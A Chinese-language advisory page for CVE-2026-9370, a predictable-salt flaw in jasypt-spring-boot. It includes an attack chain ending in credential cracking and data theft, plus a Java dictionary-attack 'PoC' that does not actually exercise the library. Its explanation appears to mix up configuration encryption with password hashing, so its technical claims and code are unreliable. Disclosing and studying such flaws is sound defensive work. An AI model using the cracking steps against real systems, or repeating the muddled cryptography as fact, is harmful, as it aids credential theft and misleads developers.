IPBUF安全漏洞报告
English
CVE-2026-9370 CVSS 3.7 低危

CVE-2026-9370 jasypt-spring-boot密码盐可预测漏洞

披露日期: 2026-05-24

漏洞信息

漏洞编号
CVE-2026-9370
漏洞类型
弱哈希/密码学问题
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ulisesbocchio/jasypt-spring-boot

相关标签

CVE-2026-9370jasypt-spring-boot可预测盐密码哈希弱加密GCM加密Spring BootJava安全

漏洞概述

CVE-2026-9370是jasypt-spring-boot库中的一个密码哈希处理安全漏洞。该漏洞存在于SimpleGCMConfig.java文件的getSecretKeySaltGenerator函数中,攻击者可利用可预测的盐值进行密码破解攻击。jasypt-spring-boot是Java生态中广泛使用的加密配置库,用于Spring Boot应用的敏感信息加密保护。该漏洞影响版本3.0.5及以前和4.0.4及以前版本。由于密码哈希使用了可预测的盐,攻击者可以预先计算彩虹表或使用字典攻击,大幅降低密码破解的难度和时间成本。虽然CVSS评分仅为3.7(低危),但在敏感环境中仍可能造成严重后果。

技术细节

漏洞根源在于jasypt-spring-boot的密码哈希处理模块使用了可预测的盐生成机制。具体问题出现在com.ulisesbocchio.jasyptspringboot.encryptor.SimpleGCMConfig类的getSecretKeySaltGenerator方法中。正常的密码哈希应该使用加密安全的随机数生成器产生盐值,但该实现使用了可预测的盐。攻击者通过分析代码逻辑或多次请求观察输出,可以预测盐值的生成规律。在GCM加密模式下,如果盐值可预测,攻击者可以:(1) 预先计算常见密码+预测盐的哈希值构建彩虹表;(2) 对截获的密文进行离线暴力破解;(3) 结合已知明文攻击降低破解复杂度。该漏洞属于高复杂度攻击,需要攻击者具备加密协议和密码学分析的专业知识。

攻击链分析

STEP 1
步骤1
收集信息:攻击者分析jasypt-spring-boot库的SimpleGCMConfig.java源代码
STEP 2
步骤2
漏洞识别:定位getSecretKeySaltGenerator函数,发现盐值生成使用可预测算法
STEP 3
步骤3
盐值预测:通过对同一密码多次加密的输出分析,推断盐值生成规律
STEP 4
步骤4
彩虹表构建:使用预测的盐值预先计算常见密码的哈希值构建彩虹表
STEP 5
步骤5
密码破解:对比目标系统的密码哈希值与彩虹表,快速破解用户密码
STEP 6
步骤6
权限提升:使用破解的密码访问系统,进行后续攻击和数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-9370 PoC - Predictable Salt in jasypt-spring-boot // This PoC demonstrates the predictable salt vulnerability import javax.crypto.Mac; import javax.crypto.spec.SecretKeySpec; import java.security.MessageDigest; public class CVE20269370_PoC { // Simulating the vulnerable predictable salt generation public static byte[] getPredictableSalt(String password, byte[] knownSalt) { // This is a simplified demonstration // In real attack, attacker analyzes SimpleGCMConfig.getSecretKeySaltGenerator() try { // Predictable salt generation - vulnerability root cause MessageDigest md = MessageDigest.getInstance("SHA-256"); md.update(knownSalt); // Using known/fixed salt return md.digest(password.getBytes()); } catch (Exception e) { return null; } } public static void attackWithPredictableSalt(String targetPassword, byte[] interceptedHash) { // Since salt is predictable, attacker can precompute hashes String[] commonPasswords = {"password", "admin", "123456", "welcome"}; for (String pwd : commonPasswords) { byte[] salt = getPredictableSalt(pwd, new byte[]{1, 2, 3}); byte[] hash = computeHash(pwd, salt); if (MessageDigest.isEqual(hash, interceptedHash)) { System.out.println("[!] Password found: " + pwd); return; } } System.out.println("[-] Password not in dictionary"); } private static byte[] computeHash(String password, byte[] salt) { try { MessageDigest md = MessageDigest.getInstance("SHA-256"); md.update(salt); return md.digest(password.getBytes()); } catch (Exception e) { return null; } } }

影响范围

jasypt-spring-boot <= 3.0.5
jasypt-spring-boot <= 4.0.4

防御指南

临时缓解措施
临时缓解措施:在官方补丁发布前,可以采取以下措施:(1) 限制jasypt-spring-boot加密接口的访问权限,仅允许授权管理员操作;(2) 实施强密码策略,要求使用足够长度和复杂度的密码;(3) 启用账户锁定机制,防止暴力破解;(4) 监控日志中的异常加密操作;(5) 考虑使用应用级防火墙限制对相关API的访问频率。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表